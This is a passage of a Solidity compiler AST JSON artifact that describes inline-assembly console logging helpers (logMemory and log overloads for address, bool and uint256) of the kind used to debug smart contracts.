deType":"YulLiteral","src":"2351:4:22","type":"","value":"0x40"}],"functionName":{"name":"sub","nativeSrc":"2339:3:22","nodeType":"YulIdentifier","src":"2339:3:22"},"nativeSrc":"2339:17:22","nodeType":"YulFunctionCall","src":"2339:17:22"},{"name":"m1","nativeSrc":"2358:2:22","nodeType":"YulIdentifier","src":"2358:2:22"}],"functionName":{"name":"mstore","nativeSrc":"2332:6:22","nodeType":"YulIdentifier","src":"2332:6:22"},"nativeSrc":"2332:29:22","nodeType":"YulFunctionCall","src":"2332:29:22"},"nativeSrc":"2332:29:22","nodeType":"YulExpressionStatement","src":"2332:29:22"},{"expression":{"arguments":[{"arguments":[{"name":"offset","nativeSrc":"2389:6:22","nodeType":"YulIdentifier","src":"2389:6:22"},{"kind":"number","nativeSrc":"2397:4:22","nodeType":"YulLiteral","src":"2397:4:22","type":"","value":"0x20"}],"functionName":{"name":"sub","nativeSrc":"2385:3:22","nodeType":"YulIdentifier","src":"2385:3:22"},"nativeSrc":"2385:17:22","nodeType":"YulFunctionCall","src":"2385:17:22"},{"name":"m2","nativeSrc":"2404:2:22","nodeType":"YulIdentifier","src":"2404:2:22"}],"functionName":{"name":"mstore","nativeSrc":"2378:6:22","nodeType":"YulIdentifier","src":"2378:6:22"},"nativeSrc":"2378:29:22","nodeType":"YulFunctionCall","src":"2378:29:22"},"nativeSrc":"2378:29:22","nodeType":"YulExpressionStatement","src":"2378:29:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33622,"isOffset":false,"isSlot":false,"src":"2312:2:22","valueSize":1},{"declaration":33625,"isOffset":false,"isSlot":false,"src":"2358:2:22","valueSize":1},{"declaration":33628,"isOffset":false,"isSlot":false,"src":"2404:2:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"2297:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"2343:6:22","valueSize":1},{"declaration":33613,"isOffset":false,"isSlot":false,"src":"2389:6:22","valueSize":1}],"id":33640,"nodeType":"InlineAssembly","src":"2259:162:22"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"logMemory","nameLocation":"1578:9:22","parameters":{"id":33616,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33613,"mutability":"mutable","name":"offset","nameLocation":"1596:6:22","nodeType":"VariableDeclaration","scope":33688,"src":"1588:14:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33612,"name":"uint256","nodeType":"ElementaryTypeName","src":"1588:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33615,"mutability":"mutable","name":"length","nameLocation":"1612:6:22","nodeType":"VariableDeclaration","scope":33688,"src":"1604:14:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33614,"name":"uint256","nodeType":"ElementaryTypeName","src":"1604:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1587:32:22"},"returnParameters":{"id":33617,"nodeType":"ParameterList","parameters":[],"src":"1634:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33707,"nodeType":"FunctionDefinition","src":"3438:408:22","nodes":[],"body":{"id":33706,"nodeType":"Block","src":"3477:369:22","nodes":[],"statements":[{"assignments":[33694],"declarations":[{"constant":false,"id":33694,"mutability":"mutable","name":"m0","nameLocation":"3495:2:22","nodeType":"VariableDeclaration","scope":33706,"src":"3487:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33693,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3487:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33695,"nodeType":"VariableDeclarationStatement","src":"3487:10:22"},{"assignments":[33697],"declarations":[{"constant":false,"id":33697,"mutability":"mutable","name":"m1","nameLocation":"3515:2:22","nodeType":"VariableDeclaration","scope":33706,"src":"3507:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33696,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3507:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33698,"nodeType":"VariableDeclarationStatement","src":"3507:10:22"},{"AST":{"nativeSrc":"3536:180:22","nodeType":"YulBlock","src":"3536:180:22","statements":[{"nativeSrc":"3550:17:22","nodeType":"YulAssignment","src":"3550:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"3562:4:22","nodeType":"YulLiteral","src":"3562:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"3556:5:22","nodeType":"YulIdentifier","src":"3556:5:22"},"nativeSrc":"3556:11:22","nodeType":"YulFunctionCall","src":"3556:11:22"},"variableNames":[{"name":"m0","nativeSrc":"3550:2:22","nodeType":"YulIdentifier","src":"3550:2:22"}]},{"nativeSrc":"3580:17:22","nodeType":"YulAssignment","src":"3580:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"3592:4:22","nodeType":"YulLiteral","src":"3592:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"3586:5:22","nodeType":"YulIdentifier","src":"3586:5:22"},"nativeSrc":"3586:11:22","nodeType":"YulFunctionCall","src":"3586:11:22"},"variableNames":[{"name":"m1","nativeSrc":"3580:2:22","nodeType":"YulIdentifier","src":"3580:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"3660:4:22","nodeType":"YulLiteral","src":"3660:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"3666:10:22","nodeType":"YulLiteral","src":"3666:10:22","type":"","value":"0x2c2ecbc2"}],"functionName":{"name":"mstore","nativeSrc":"3653:6:22","nodeType":"YulIdentifier","src":"3653:6:22"},"nativeSrc":"3653:24:22","nodeType":"YulFunctionCall","src":"3653:24:22"},"nativeSrc":"3653:24:22","nodeType":"YulExpressionStatement","src":"3653:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"3697:4:22","nodeType":"YulLiteral","src":"3697:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"3703:2:22","nodeType":"YulIdentifier","src":"3703:2:22"}],"functionName":{"name":"mstore","nativeSrc":"3690:6:22","nodeType":"YulIdentifier","src":"3690:6:22"},"nativeSrc":"3690:16:22","nodeType":"YulFunctionCall","src":"3690:16:22"},"nativeSrc":"3690:16:22","nodeType":"YulExpressionStatement","src":"3690:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33694,"isOffset":false,"isSlot":false,"src":"3550:2:22","valueSize":1},{"declaration":33697,"isOffset":false,"isSlot":false,"src":"3580:2:22","valueSize":1},{"declaration":33690,"isOffset":false,"isSlot":false,"src":"3703:2:22","valueSize":1}],"id":33699,"nodeType":"InlineAssembly","src":"3527:189:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33701,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3741:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783234","id":33702,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3747:4:22","typeDescriptions":{"typeIdentifier":"t_rational_36_by_1","typeString":"int_const 36"},"value":"0x24"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_36_by_1","typeString":"int_const 36"}],"id":33700,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"3725:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33703,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3725:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33704,"nodeType":"ExpressionStatement","src":"3725:27:22"},{"AST":{"nativeSrc":"3771:69:22","nodeType":"YulBlock","src":"3771:69:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"3792:4:22","nodeType":"YulLiteral","src":"3792:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"3798:2:22","nodeType":"YulIdentifier","src":"3798:2:22"}],"functionName":{"name":"mstore","nativeSrc":"3785:6:22","nodeType":"YulIdentifier","src":"3785:6:22"},"nativeSrc":"3785:16:22","nodeType":"YulFunctionCall","src":"3785:16:22"},"nativeSrc":"3785:16:22","nodeType":"YulExpressionStatement","src":"3785:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"3821:4:22","nodeType":"YulLiteral","src":"3821:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"3827:2:22","nodeType":"YulIdentifier","src":"3827:2:22"}],"functionName":{"name":"mstore","nativeSrc":"3814:6:22","nodeType":"YulIdentifier","src":"3814:6:22"},"nativeSrc":"3814:16:22","nodeType":"YulFunctionCall","src":"3814:16:22"},"nativeSrc":"3814:16:22","nodeType":"YulExpressionStatement","src":"3814:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33694,"isOffset":false,"isSlot":false,"src":"3798:2:22","valueSize":1},{"declaration":33697,"isOffset":false,"isSlot":false,"src":"3827:2:22","valueSize":1}],"id":33705,"nodeType":"InlineAssembly","src":"3762:78:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"3447:3:22","parameters":{"id":33691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33690,"mutability":"mutable","name":"p0","nameLocation":"3459:2:22","nodeType":"VariableDeclaration","scope":33707,"src":"3451:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33689,"name":"address","nodeType":"ElementaryTypeName","src":"3451:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3450:12:22"},"returnParameters":{"id":33692,"nodeType":"ParameterList","parameters":[],"src":"3477:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33726,"nodeType":"FunctionDefinition","src":"3852:402:22","nodes":[],"body":{"id":33725,"nodeType":"Block","src":"3888:366:22","nodes":[],"statements":[{"assignments":[33713],"declarations":[{"constant":false,"id":33713,"mutability":"mutable","name":"m0","nameLocation":"3906:2:22","nodeType":"VariableDeclaration","scope":33725,"src":"3898:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33712,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3898:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33714,"nodeType":"VariableDeclarationStatement","src":"3898:10:22"},{"assignments":[33716],"declarations":[{"constant":false,"id":33716,"mutability":"mutable","name":"m1","nameLocation":"3926:2:22","nodeType":"VariableDeclaration","scope":33725,"src":"3918:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33715,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3918:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33717,"nodeType":"VariableDeclarationStatement","src":"3918:10:22"},{"AST":{"nativeSrc":"3947:177:22","nodeType":"YulBlock","src":"3947:177:22","statements":[{"nativeSrc":"3961:17:22","nodeType":"YulAssignment","src":"3961:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"3973:4:22","nodeType":"YulLiteral","src":"3973:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"3967:5:22","nodeType":"YulIdentifier","src":"3967:5:22"},"nativeSrc":"3967:11:22","nodeType":"YulFunctionCall","src":"3967:11:22"},"variableNames":[{"name":"m0","nativeSrc":"3961:2:22","nodeType":"YulIdentifier","src":"3961:2:22"}]},{"nativeSrc":"3991:17:22","nodeType":"YulAssignment","src":"3991:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"4003:4:22","nodeType":"YulLiteral","src":"4003:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"3997:5:22","nodeType":"YulIdentifier","src":"3997:5:22"},"nativeSrc":"3997:11:22","nodeType":"YulFunctionCall","src":"3997:11:22"},"variableNames":[{"name":"m1","nativeSrc":"3991:2:22","nodeType":"YulIdentifier","src":"3991:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"4068:4:22","nodeType":"YulLiteral","src":"4068:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"4074:10:22","nodeType":"YulLiteral","src":"4074:10:22","type":"","value":"0x32458eed"}],"functionName":{"name":"mstore","nativeSrc":"4061:6:22","nodeType":"YulIdentifier","src":"4061:6:22"},"nativeSrc":"4061:24:22","nodeType":"YulFunctionCall","src":"4061:24:22"},"nativeSrc":"4061:24:22","nodeType":"YulExpressionStatement","src":"4061:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"4105:4:22","nodeType":"YulLiteral","src":"4105:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"4111:2:22","nodeType":"YulIdentifier","src":"4111:2:22"}],"functionName":{"name":"mstore","nativeSrc":"4098:6:22","nodeType":"YulIdentifier","src":"4098:6:22"},"nativeSrc":"4098:16:22","nodeType":"YulFunctionCall","src":"4098:16:22"},"nativeSrc":"4098:16:22","nodeType":"YulExpressionStatement","src":"4098:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33713,"isOffset":false,"isSlot":false,"src":"3961:2:22","valueSize":1},{"declaration":33716,"isOffset":false,"isSlot":false,"src":"3991:2:22","valueSize":1},{"declaration":33709,"isOffset":false,"isSlot":false,"src":"4111:2:22","valueSize":1}],"id":33718,"nodeType":"InlineAssembly","src":"3938:186:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33720,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4149:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783234","id":33721,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4155:4:22","typeDescriptions":{"typeIdentifier":"t_rational_36_by_1","typeString":"int_const 36"},"value":"0x24"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_36_by_1","typeString":"int_const 36"}],"id":33719,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"4133:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33722,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4133:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33723,"nodeType":"ExpressionStatement","src":"4133:27:22"},{"AST":{"nativeSrc":"4179:69:22","nodeType":"YulBlock","src":"4179:69:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"4200:4:22","nodeType":"YulLiteral","src":"4200:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"4206:2:22","nodeType":"YulIdentifier","src":"4206:2:22"}],"functionName":{"name":"mstore","nativeSrc":"4193:6:22","nodeType":"YulIdentifier","src":"4193:6:22"},"nativeSrc":"4193:16:22","nodeType":"YulFunctionCall","src":"4193:16:22"},"nativeSrc":"4193:16:22","nodeType":"YulExpressionStatement","src":"4193:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"4229:4:22","nodeType":"YulLiteral","src":"4229:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"4235:2:22","nodeType":"YulIdentifier","src":"4235:2:22"}],"functionName":{"name":"mstore","nativeSrc":"4222:6:22","nodeType":"YulIdentifier","src":"4222:6:22"},"nativeSrc":"4222:16:22","nodeType":"YulFunctionCall","src":"4222:16:22"},"nativeSrc":"4222:16:22","nodeType":"YulExpressionStatement","src":"4222:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33713,"isOffset":false,"isSlot":false,"src":"4206:2:22","valueSize":1},{"declaration":33716,"isOffset":false,"isSlot":false,"src":"4235:2:22","valueSize":1}],"id":33724,"nodeType":"InlineAssembly","src":"4170:78:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"3861:3:22","parameters":{"id":33710,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33709,"mutability":"mutable","name":"p0","nameLocation":"3870:2:22","nodeType":"VariableDeclaration","scope":33726,"src":"3865:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33708,"name":"bool","nodeType":"ElementaryTypeName","src":"3865:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3864:9:22"},"returnParameters":{"id":33711,"nodeType":"ParameterList","parameters":[],"src":"3888:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33745,"nodeType":"FunctionDefinition","src":"4260:408:22","nodes":[],"body":{"id":33744,"nodeType":"Block","src":"4299:369:22","nodes":[],"statements":[{"assignments":[33732],"declarations":[{"constant":false,"id":33732,"mutability":"mutable","name":"m0","nameLocation":"4317:2:22","nodeType":"VariableDeclaration","scope":33744,"src":"4309:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33731,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4309:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33733,"nodeType":"VariableDeclarationStatement","src":"4309:10:22"},{"assignments":[33735],"declarations":[{"constant":false,"id":33735,"mutability":"mutable","name":"m1","nameLocation":"4337:2:22","nodeType":"VariableDeclaration","scope":33744,"src":"4329:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33734,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4329:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33736,"nodeType":"VariableDeclarationStatement","src":"4329:10:22"},{"AST":{"nativeSrc":"4358:180:22","nodeType":"YulBlock","src":"4358:180:22","statements":[{"nativeSrc":"4372:17:22","nodeType":"YulAssignment","src":"4372:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"4384:4:22","nodeType":"YulLiteral","src":"4384:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"4378:5:22","nodeType":"YulIdentifier","src":"4378:5:22"},"nativeSrc":"4378:11:22","nodeType":"YulFunctionCall","src":"4378:11:22"},"variableNames":[{"name":"m0","nativeSrc":"4372:2:22","nodeType":"YulIdentifier","src":"4372:2:22"}]},{"nativeSrc":"4402:17:22","nodeType":"YulAssignment","src":"4402:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"4414:4:22","nodeType":"YulLiteral","src":"4414:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"4408:5:22","nodeType":"YulIdentifier","src":"4408:5:22"},"nativeSrc":"4408:11:22","nodeType":"YulFunctionCall","src":"4408:11:22"},"variableNames":[{"name":"m1","nativeSrc":"4402:2:22","nodeType":"YulIdentifier","src":"4402:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"4482:4:22","nodeType":"YulLiteral","src":"4482:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"4488:10:22","nodeType":"YulLiteral","src":"4488:10:22","type":"","value":"0xf82c50f1"}],"functionName":{"name":"mstore","nativeSrc":"4475:6:22","nodeType":"YulIdentifier","src":"4475:6:22"},"nativeSrc":"4475:24:22","nodeType":"YulFunctionCall","src":"4475:24:22"},"nativeSrc":"4475:24:22","nodeType":"YulExpressionStatement","src":"4475:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"4519:4:22","nodeType":"YulLiteral","src":"4519:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"4525:2:22","nodeType":"YulIdentifier","src":"4525:2:22"}],"functionName":{"name":"mstore","nativeSrc":"4512:6:22","nodeType":"YulIdentifier","src":"4512:6:22"},"nativeSrc":"4512:16:22","nodeType":"YulFunctionCall","src":"4512:16:22"},"nativeSrc":"4512:16:22","nodeType":"YulExpressionStatement","src":"4512:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33732,"isOffset":false,"isSlot":false,"src":"4372:2:22","valueSize":1},{"declaration":33735,"isOffset":false,"isSlot":false,"src":"4402:2:22","valueSize":1},{"declaration":33728,"isOffset":false,"isSlot":false,"src":"4525:2:22","valueSize":1}],"id":33737,"nodeType":"InlineAssembly","src":"4349:189:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":33739,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4563:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783234","id":33740,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4569:4:22","typeDescriptions":{"typeIdentifier":"t_rational_36_by_1","typeString":"int_const 36"},"value":"0x24"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_36_by_1","typeString":"int_const 36"}],"id":33738,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"4547:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33741,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4547:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33742,"nodeType":"ExpressionStatement","src":"4547:27:22"},{"AST":{"nativeSrc":"4593:69:22","nodeType":"YulBlock","src":"4593:69:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"4614:4:22","nodeType":"YulLiteral","src":"4614:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"4620:2:22","nodeType":"YulIdentifier","src":"4620:2:22"}],"functionName":{"name":"mstore","nativeSrc":"4607:6:22","nodeType":"YulIdentifier","src":"4607:6:22"},"nativeSrc":"4607:16:22","nodeType":"YulFunctionCall","src":"4607:16:22"},"nativeSrc":"4607:16:22","nodeType":"YulExpressionStatement","src":"4607:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"4643:4:22","nodeType":"YulLiteral","src":"4643:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"4649:2:22","nodeType":"YulIdentifier","src":"4649:2:22"}],"functionName":{"name":"mstore","nativeSrc":"4636:6:22","nodeType":"YulIdentifier","src":"4636:6:22"},"nativeSrc":"4636:16:22","nodeType":"YulFunctionCall","src":"4636:16:22"},"nativeSrc":"4636:16:22","nodeType":"YulExpressionStatement","src":"4636:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33732,"isOffset":false,"isSlot":false,"src":"4620:2:22","valueSize":1},{"declaration":33735,"isOffset":false,"isSlot":false,"src":"4649:2:22","valueSize":1}],"id":33743,"nodeType":"InlineAssembly","src":"4584:78:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"4269:3:22","parameters":{"id":33729,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33728,"mutability":"mutable","name":"p0","nameLocation":"4281:2:22","nodeType":"VariableDeclaration","scope":33745,"src":"4273:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33727,"name":"uint256","nodeType":"ElementaryTypeName","src":"4273:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4272:12:22"},"returnParameters":{"id":33730,"nodeType":"ParameterList","parameters":[],"src":"4299:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":33770,"nodeType":"FunctionDefinition","src":"4674:956:22","nodes":[],"body":{"id":33769,"nodeType":"Block","src":"4713:917:22","nodes":[],"statements":[{"assignments":[33751],"declarations":[{"constant":false,"id":33751,"mutability":"mutable","name":"m0","nameLocation":"4731:2:22","nodeType":"VariableDeclaration","scope":33769,"src":"4723:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33750,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4723:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33752,"nodeType":"VariableDeclarationStatement","src":"4723:10:22"},{"assignments":[33754],"declarations":[{"constant":false,"id":33754,"mutability":"mutable","name":"m1","nameLocation":"4751:2:22","nodeType":"VariableDeclaration","scope":33769,"src":"4743:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33753,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4743:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33755,"nodeType":"VariableDeclarationStatement","src":"4743:10:22"},{"assignments":[33757],"declarations":[{"constant":false,"id":33757,"mutability":"mutable","name":"m2","nameLocation":"4771:2:22","nodeType":"VariableDeclaration","scope":33769,"src":"4763:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33756,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4763:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33758,"nodeType":"VariableDeclarationStatement","src":"4763:10:22"},{"assignments":[33760],"declarations":[{"constant":false,"id":33760,"mutability":"mutable","name":"m3","nameLocation":"4791:2:22","nodeType":"VariableDeclaration","scope":33769,"src":"4783:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":33759,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4783:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":33761,"nodeType":"VariableDeclarationStatement","src":"4783:10:22"},{"AST":{"nativeSrc":"4812:630:22","nodeType":"YulBlock","src":"4812:630:22","statements":[{"body":{"nativeSrc":"4855:313:22","nodeType":"YulBlock","src":"4855:313:22","statements":[{"nativeSrc":"4873:15:22","nodeType":"YulVariableDeclaration","src":"4873:15:22","value":{"kind":"number","nativeSrc":"4887:1:22","nodeType":"YulLiteral","src":"4887:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"4877:6:22","nodeType":"YulTypedName","src":"4877:6:22","type":""}]},{"body":{"nativeSrc":"4958:40:22","nodeType":"YulBlock","src":"4958:40:22","statements":[{"body":{"nativeSrc":"4987:9:22","nodeType":"YulBlock","src":"4987:9:22","statements":[{"nativeSrc":"4989:5:22","nodeType":"YulBreak","src":"4989:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"4975:6:22","nodeType":"YulIdentifier","src":"4975:6:22"},{"name":"w","nativeSrc":"4983:1:22","nodeType":"YulIdentifier","src":"4983:1:22"}],"functionName":{"name":"byte","nativeSrc":"4970:4:22","nodeType":"YulIdentifier","src":"4970:4:22"},"nativeSrc":"4970:15:22","nodeType":"YulFunctionCall","src":"4970:15:22"}],"functionName":{"name":"iszero","nativeSrc":"4963:6:22","nodeType":"YulIdentifier","src":"4963:6:22"},"nativeSrc":"4963:23:22","nodeType":"YulFunctionCall","src":"4963:23:22"},"nativeSrc":"4960:36:22","nodeType":"YulIf","src":"4960:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"4915:6:22","nodeType":"YulIdentifier","src":"4915:6:22"},{"kind":"number","nativeSrc":"4923:4:22","nodeType":"YulLiteral","src":"4923:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"4912:2:22","nodeType":"YulIdentifier","src":"4912:2:22"},"nativeSrc":"4912:16:22","nodeType":"YulFunctionCall","src":"4912:16:22"},"nativeSrc":"4905:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"4929:28:22","nodeType":"YulBlock","src":"4929:28:22","statements":[{"nativeSrc":"4931:24:22","nodeType":"YulAssignment","src":"4931:24:22","value":{"arguments":[{"name":"length","nativeSrc":"4945:6:22","nodeType":"YulIdentifier","src":"4945:6:22"},{"kind":"number","nativeSrc":"4953:1:22","nodeType":"YulLiteral","src":"4953:1:22","type":"","v